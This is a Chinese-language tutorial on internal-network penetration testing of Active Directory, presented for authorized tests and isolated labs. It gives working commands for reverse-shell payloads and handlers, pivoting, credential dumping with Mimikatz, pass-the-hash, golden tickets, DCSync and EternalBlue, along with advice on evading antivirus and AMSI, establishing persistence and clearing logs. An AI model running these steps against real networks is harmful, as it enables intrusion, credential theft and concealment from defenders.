
1. 项目概述从“靶场”到“实战”的思维跃迁“内网渗透”这四个字对于很多刚接触安全测试的朋友来说既充满诱惑又令人望而生畏。它不像一个简单的Web漏洞利用点一下鼠标就能看到结果。内网渗透更像是一场多阶段的战役你需要从一个微小的突破口比如一个Web漏洞进入然后像特工一样在陌生的、防守严密的内部网络中逐步摸清地形、获取权限、扩大战果最终达成目标。很多人卡在了第一步之后面对着一片“黑暗”的内网不知道下一步该点哪里、敲什么命令。今天我就以一个从业者的视角结合我过去在授权测试中积累的经验带你走一遍这个完整的流程。这不是一个炫技的教程而是一份侧重于“思路”和“实操细节”的战场手册。我们会从最基础的入口获取开始一步步搭建跳板、探测信息、横向移动直到最终控制核心目标。我会把每个阶段“为什么要这么做”以及“具体怎么操作”讲清楚并分享那些只有踩过坑才知道的注意事项。2. 战前准备环境、工具与核心思路在真正动手之前充分的准备是成功的一半。内网渗透不是无头苍蝇乱撞它需要清晰的思路和趁手的工具。2.1 核心思路解析攻击链与“假设性”思维内网渗透遵循一个经典的攻击链模型信息收集 - 初始突破 - 权限提升 - 横向移动 - 权限维持 - 清理痕迹。但我想强调的是在实际操作中这些阶段往往是循环往复、相互交织的。你的核心思维应该是“假设性”的假设我拿到了这台机器的权限我能用它做什么来获取更多信息假设我发现了这个服务它可能存在什么漏洞假设我获取了这些凭证它们能在哪里使用整个过程的终极目标通常是定位并控制域环境中的域控制器Domain Controller, DC或者访问到核心业务服务器上的敏感数据。记住我们讨论的所有技术都仅限于授权测试、合规评估或个人在完全隔离的实验室环境如VMware虚拟网络中的学习研究。2.2 工具装备箱你的“瑞士军刀”工欲善其事必先利其器。下面这张表整理了我最常用、也最推荐的一套工具组合并说明了它们在攻击链中各阶段的作用。工具类别工具名称主要用途阶段综合渗透框架Metasploit, Cobalt Strike漏洞利用、载荷生成、会话管理、横向移动辅助全程信息收集Nmap, Masscan端口扫描、服务识别信息收集NetExec (原CrackMapExec)内网存活主机探测、SMB/WinRM等服务爆破信息收集、横向移动BloodHound (配合SharpHound收集器)可视化分析域内攻击路径信息收集、横向移动凭证相关Mimikatz内存中提取明文密码、哈希、票据权限提升、凭证窃取Hashcat, John the Ripper密码哈希破解凭证破解代理与隧道Neo-reGeorg, reGeorg建立HTTP/HTTPS隧道穿透网络边界代理转发Chisel, Frp功能强大的端口转发、反向代理工具代理转发漏洞利用与后渗透Impacket 工具套件提供大量基于协议SMB, WMI, Kerberos等的攻击脚本横向移动PowerSploit, NishangPowerShell 后渗透脚本集权限提升、信息收集注意工具的安装和使用务必在可控环境进行。例如在Kali Linux或Parrot OS这类安全发行版中大部分工具已预装或可通过包管理器轻松安装。对于Windows下的工具如Mimikatz需注意杀毒软件的查杀在测试环境中可能需要临时禁用或做免杀处理。2.3 实验环境搭建安全的“练兵场”绝对不要在未经授权的任何网络中进行测试。搭建自己的内网实验环境是学习的最佳途径。一个典型且足够复杂的实验环境可以这样构建使用虚拟化软件VMware Workstation 或 VirtualBox。网络模式将所有靶机置于一个“自定义”的虚拟网络中如VMnet2该网络与你的物理主机攻击机隔离。攻击机使用另一张网卡如NAT模式的VMnet8并通过一台双网卡的“边界服务器”与内网靶机相连模拟真实的企业网络隔离。靶机系统至少包含以下角色边界服务器通常是一台Windows Server或Linux扮演Web服务器、VPN网关或堡垒机的角色存在一个已知漏洞如Web逻辑漏洞、服务漏洞作为入口点。域成员服务器一台加入域的Windows 10或Windows Server运行着一些内部服务如文件共享、内部网站。域控制器DC一台Windows Server安装Active Directory域服务这是内网的“大脑”和终极目标。常见漏洞场景在靶机上故意配置一些漏洞如MS17-010永恒之蓝、弱口令、过时的Web应用如ThinkPHP RCE、不安全的服务配置等。3. 第一阶段突破边界建立据点这是从外网进入内网的第一步也是最关键的一步。我们假设你已经通过外部侦察发现了一台边界服务器上的一个Web应用远程代码执行RCE漏洞。3.1 获取初始Shell假设我们利用一个ThinkPHP的RCE漏洞成功在边界服务器上执行了命令。我们的第一个目标不是乱跑而是获取一个稳定的、功能完整的反向Shell连接。操作示例概念性在攻击机上用msfvenom生成一个反向TCP的Payloadmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.1.100 LPORT4444 -f exe -o shell.exeLHOST是你的攻击机IP与边界服务器能通联的IPLPORT是监听端口。在攻击机上启动Metasploit的监听器msf6 use exploit/multi/handler msf6 exploit(multi/handler) set payload windows/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) set LHOST 192.168.1.100 msf6 exploit(multi/handler) set LPORT 4444 msf6 exploit(multi/handler) run通过已发现的RCE漏洞将shell.exe上传到边界服务器并执行。执行后你会在Metasploit中看到一个meterpreter会话建立。实操心得直接上传exe文件可能被拦截。更隐蔽的方式是使用powershell直接内存加载。例如可以使用Invoke-Expression下载并执行经过编码的PowerShell脚本。或者如果漏洞允许直接使用Metasploit的web_delivery模块它能生成一行PowerShell命令在目标机器上直接拉取并执行Meterpreter载荷无需文件落地。3.2 权限提升与信息初步收集拿到初始Shell后它很可能只是一个普通用户权限。我们需要尝试提权并立刻开始收集这台“跳板机”上的信息。1. 本地信息收集在meterpreter会话中运行以下命令sysinfo # 查看系统信息 getuid # 查看当前权限 run post/windows/gather/checkvm # 检查是否为虚拟机 run post/multi/gather/ping_sweep RHOSTS192.168.2.0/24 # 探测内网网段存活主机假设内网网段是192.168.2.0/24 ipconfig /all # 查看网络配置确认内网IP段关键是要找出内网的网段例如192.168.2.0/24和DNS服务器地址通常是域控制器的IP。2. 尝试本地提权可以使用Metasploit的本地提权模块进行扫描run post/multi/recon/local_exploit_suggester它会根据系统版本、补丁情况推荐可能成功的本地提权漏洞利用模块。例如如果系统未打补丁可能会推荐exploit/windows/local/ms16_032_secondary_logon_handle_privesc。成功提权后使用getsystem命令获取SYSTEM权限。3. 抓取本地凭证拥有SYSTEM或管理员权限后可以转储本地存储的密码哈希。load kiwi # 加载Mimikatz扩展Kiwi creds_all # 尝试抓取所有凭证 lsa_dump_sam # 转储SAM数据库中的本地用户哈希这些哈希通常是NTLM Hash可以用于“哈希传递”攻击在内网中横向移动。4. 第二阶段立足内网纵深侦察拿到边界服务器的控制权并提升权限后我们正式进入内网。此时目标是从这台“据点”出发摸清整个内网的结构、资产和信任关系。4.1 内网拓扑探测与存活主机发现首先我们需要知道内网里有哪些“活着的”机器。在meterpreter会话中我们可以添加通往内网的路由让Metasploit的所有模块都能通过这个“跳板”去攻击内网机器。1. 添加路由假设边界服务器的内网IP是192.168.2.10内网网段是192.168.2.0/24。run autoroute -s 192.168.2.0/24 run autoroute -p # 查看已添加的路由这样你的攻击机MSF就知道去往192.168.2.0/24的流量应该通过当前的meterpreter会话转发。2. 进行ARP或ICMP扫描虽然添加了路由但直接使用MSF的端口扫描可能较慢。我们可以利用已控的边界服务器作为“扫描器”。方法A使用MSF内置模块通过会话扫描use auxiliary/scanner/portscan/tcp set RHOSTS 192.168.2.1-254 set PORTS 445,3389,80,443 set THREADS 50 run方法B上传工具到边界服务器执行更推荐将轻量级的扫描工具如nmap的Windows版或PowerShell脚本上传到边界服务器直接在内网执行扫描速度更快。 在meterpreter中upload /usr/share/nmap/nmap.exe C:\\Windows\\Temp\\然后执行execute -f cmd.exe -a /c C:\\Windows\\Temp\\nmap.exe -sn 192.168.2.0/244.2 关键服务探测与漏洞初筛发现存活主机后下一步是探测它们开放了哪些关键服务。内网横向移动最常利用的服务包括SMB (445端口)用于文件共享也是永恒之蓝MS17-010、哈希传递Pass-the-Hash攻击的主要协议。RDP (3389端口)远程桌面如果获取到明文密码或能破解哈希可直接登录。WinRM (5985/5986端口)Windows远程管理可通过凭证执行命令。MSSQL (1433端口)数据库服务可能存在弱口令进而获取服务器权限。我们可以针对这些端口进行快速扫描和识别。例如使用NetExec通过SMB协议快速枚举主机信息和尝试弱口令/哈希传递# 在攻击机上因为我们已经添加了路由可以直接指定跳板机的内网IP作为源需配置代理 # 更简单的方式将NetExec上传至边界服务器运行 # 假设我们已将netexec.exe上传到边界服务器C:\Tools目录 execute -f cmd.exe -a /c C:\\Tools\\netexec.exe smb 192.168.2.0/24 -u user.txt -p pass.txt --local-auth这条命令会尝试用user.txt中的用户名和pass.txt中的密码对网段内所有主机的本地账户进行SMB登录测试。4.3 域环境信息收集如果内网存在域环境通常企业内网都有那么信息收集的重点就要转向Active Directory。1. 判断是否在域中在meterpreter的Shell中执行systeminfo | findstr /B /C:Domain net config workstation如果“域”信息不是工作组WORKGROUP则说明机器已加入域。2. 基础域信息枚举net view /domain # 查看域名称 net view /domain:域名 # 查看域内机器列表 net group domain computers /domain # 查看域内所有计算机 net user /domain # 查看域用户 net group domain admins /domain # 查看域管理员组这些命令能帮你快速理清域的结构和关键账户。3. 使用BloodHound进行高级攻击路径分析这是现代内网渗透的“神器”。它通过图形化方式揭示域内用户、组、计算机之间的复杂关系如“谁对哪台机器有本地管理员权限”、“哪个用户可以重置其他用户的密码”并自动找出通往域管理员的最短路径。收集数据将SharpHound收集器一个C#或PowerShell脚本上传到已控的边界服务器最好是域成员机并执行。.\SharpHound.exe -c All它会生成一个压缩的JSON文件。上传与分析将这个JSON文件下载到你的攻击机然后导入到BloodHound一个Neo4j数据库的图形界面中。在UI中你可以进行各种查询例如“查找所有域管理员会话”、“查找最短攻击路径到域控制器”等。注意事项SharpHound的收集行为可能会触发安全告警因为它会大量查询LDAP。在真实测试中可能需要使用更隐蔽的收集方式或将其与合法的管理活动混合。5. 第三阶段横向移动扩大战果有了清晰的地图信息收集结果和“弹药”获取的凭证就可以开始向其他主机扩散控制了。横向移动的手段多样核心在于利用信任关系和获取的凭证。5.1 利用SMB协议进行哈希传递攻击这是最经典、最高效的横向移动技术之一。当你获取了一台主机上某个本地管理员或域用户的NTLM哈希而非明文密码时你可以直接使用这个哈希来验证其他机器上的相同账户无需破解。操作示例使用Impacket套件中的psexec.py假设我们获取了域用户CORP\john的NTLM哈希aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4并且发现内网主机192.168.2.20开放了445端口。 在你的攻击机上配置好通过边界服务器的代理运行python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 CORP/john192.168.2.20如果john用户在192.168.2.20上有管理员权限这条命令会直接返回一个该机器的SYSTEM权限的Shell。实操心得哈希传递成功的关键在于目标机器上禁用了“受限管理员模式”或“远程UAC限制”。对于Windows Server 2012 R2及更高版本默认设置可能会阻止这种攻击。此时可以尝试使用其他协议如WMI或WinRM。5.2 利用WMI执行命令Windows Management Instrumentation (WMI) 是另一种强大的远程管理协议。使用Impacket的wmiexec.py同样可以进行哈希传递或密码登录获得一个半交互式的Shell。python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 CORP/john192.168.2.20WMI执行通常比SMB的PsExec更隐蔽产生的日志略有不同。5.3 票据传递攻击在Kerberos认证的域环境中除了哈希还有一种更优雅的凭证——“票据”。你可以窃取已登录用户的Kerberos票据特别是黄金票据和白银票据来直接访问特定服务。黄金票据伪造域内任意用户的TGT票据需要获取krbtgt用户的NTLM哈希存储在域控制器上。一旦拥有可以生成访问域内任何服务的票据。白银票据伪造针对特定服务的ST票据需要获取该服务账户的NTLM哈希例如一台服务器的计算机账户哈希。使用Mimikatz可以完成票据的转储、伪造和注入# 在已控的域成员机上以管理员权限运行Mimikatz privilege::debug sekurlsa::tickets /export # 导出当前内存中的所有票据 # 如果获取了krbtgt哈希可以生成黄金票据 kerberos::golden /user:Administrator /domain:corp.com /sid:S-1-5-21-... /krbtgt:krbtgt_ntlm_hash /ptt kerberos::ptt 生成的票据文件 # 将票据注入当前会话注入票据后你就可以使用dir \\dc.corp.com\c$这样的命令直接访问域控制器的共享而无需提供密码。5.4 利用WinRM进行远程管理如果目标主机Windows Server 2012 或 Win10启用了WinRM服务并且你有有效的凭证可以使用evil-winrm这样的工具直接连接。evil-winrm -i 192.168.2.20 -u CORP\john -p Password123! -H 哈希值它提供了一个功能丰富的Ruby Shell非常适合进行后续操作。6. 第四阶段直指核心攻陷域控经过一系列的横向移动你可能已经控制了多台域成员服务器。最终的目标通常是域控制器。攻击DC的方法有很多这里介绍几种常见的。6.1 利用域管理员会话如果你通过BloodHound发现某台你已控制的服务器上正有域管理员用户登录例如管理员在维护服务器时留下了RDP会话那么你可以直接从这台服务器上窃取该域管理员的令牌或票据。 在meterpreter会话中ps | grep explorer # 找到域管理员用户运行的进程 migrate 进程PID # 迁移到该进程 load kiwi token::list # 列出可用令牌 token::elevate /user:域管理员用户名 # 假冒该令牌假冒令牌后你的会话就拥有了域管理员权限可以直接访问域控制器。6.2 DCSync攻击这是最致命的攻击之一。任何被授予了“复制目录更改”权限的账户默认包括域管理员组、域控制器计算机账户等都可以向域控制器发起请求同步即获取指定用户的密码哈希。krbtgt用户的哈希就在其中。 在已控的域成员机上需拥有足够权限使用Mimikatzlsadump::dcsync /domain:corp.com /user:krbtgt执行成功后你将直接获得krbtgt的哈希从而可以制作黄金票据完全掌控整个域。6.3 利用MS14-068漏洞伪造票据这是一个较老的Kerberos协议漏洞允许任何一个普通的域用户在已知其SID和密码/哈希的情况下伪造一个提升权限到域管理员的TGT票据。虽然大部分现代系统已打补丁但在一些老旧环境中仍可能遇到。 利用工具如goldenPac.pyImpacket或kekeo可以自动化完成此攻击。6.4 直接攻击域控制器服务如果域控制器本身存在未修补的高危漏洞如永恒之蓝MS17-010你也可以像攻击普通服务器一样直接利用漏洞获取其控制权。使用MSF的exploit/windows/smb/ms17_010_eternalblue模块设置目标为域控制器的IP即可尝试攻击。7. 常见问题与排查技巧实录在实际操作中你一定会遇到各种问题。这里记录了一些典型场景和解决思路。7.1 隧道与代理问题问题添加了autoroute但MSF模块扫描内网时依然超时或无结果。排查确认路由生效run autoroute -p查看路由表是否添加成功。测试连通性在meterpreter会话中使用ping命令测试是否能通内网IP。execute -f cmd.exe -a /c ping 192.168.2.1。检查防火墙边界服务器的Windows防火墙可能阻止了来自meterpreter会话的流量转发。尝试在边界服务器上临时禁用防火墙测试环境或添加出入站规则。使用Socks代理autoroute对于MSF自带的模块有效但对于你攻击机上的其他独立工具如Nmap、Impacket无效。此时需要在MSF中建立Socks4a代理use auxiliary/server/socks_proxy set VERSION 4a run然后在你的系统或浏览器中配置代理为127.0.0.1:1080这样其他工具就能通过这个代理访问内网了。7.2 凭证无效或攻击失败问题哈希传递PtH或密码喷洒攻击失败返回“登录失败”。排查权限问题确认你使用的账户在目标机器上是否有管理员权限。对于本地账户需要是目标机的本地管理员对于域账户需要是目标机的本地管理员或域管理员组。受限管理模式目标系统可能启用了“受限管理员模式”Restricted Admin Mode或配置了“本地安全策略”限制远程登录。对于RDP可尝试添加/restrictedadmin标志对于其他协议可能需要寻找绕过的漏洞或使用其他攻击面。账户被锁定在密码喷洒时如果尝试次数过多可能触发账户锁定策略。注意控制尝试频率并优先使用获取到的哈希进行传递攻击而非爆破。协议或端口问题确认目标服务确实在监听。例如WinRM可能只监听在5986HTTPS端口而你的工具默认连接5985。7.3 工具被拦截或执行失败问题上传的Mimikatz等工具被杀毒软件AV立即删除或PowerShell脚本无法执行。规避技巧内存加载优先使用无文件落地的技术。例如使用Invoke-Mimikatz这个PowerShell脚本直接从网络加载到内存中执行。代码混淆与免杀对PowerShell脚本进行混淆编码如使用Invoke-Obfuscation。对于可执行文件可以使用Shellcode加载器或自己编译修改特征码。利用合法程序使用“Living off the Land”技术即利用系统自带的合法工具完成攻击。例如使用certutil.exe下载文件使用wmic或sc执行命令使用rundll32.exe执行DLL等。禁用AMSI在PowerShell中Windows反恶意软件扫描接口AMSI会检测恶意脚本。可以尝试使用一些公开的技术来临时禁用或绕过AMSI的检测。7.4 权限维持与清理在实战测试中如果需要长期维持访问需要考虑持久化。但同时在测试结束时必须清理痕迹。持久化方法创建计划任务、服务、启动项、WMI事件订阅、注册表键值等。Metasploit的persistence模块可以自动创建多种后门。清理痕迹删除上传的工具、日志文件如安全日志、PowerShell操作历史、创建的用户或计划任务。使用clearev命令可以清除meterpreter会话所在主机的部分日志。但要注意更高级的EDR产品可能有更详细的审计记录在授权测试中应与防守方协商清理范围。整个内网渗透的过程是一场信息、耐心和技术的综合较量。它没有固定的剧本需要你根据现场情况灵活调整策略。最重要的永远是信息收集你对环境了解得越透彻能找到的攻击路径就越多。从一台不起眼的边缘服务器到掌控整个域网络这其中的每一步都建立在扎实的基础知识和清晰的攻击思路上。希望这份手把手的实战拆解能帮你理清脉络在合法的测试环境中安全、有效地磨练你的内网渗透技能。记住真正的精通源于无数次在实验室里的反复练习和复盘。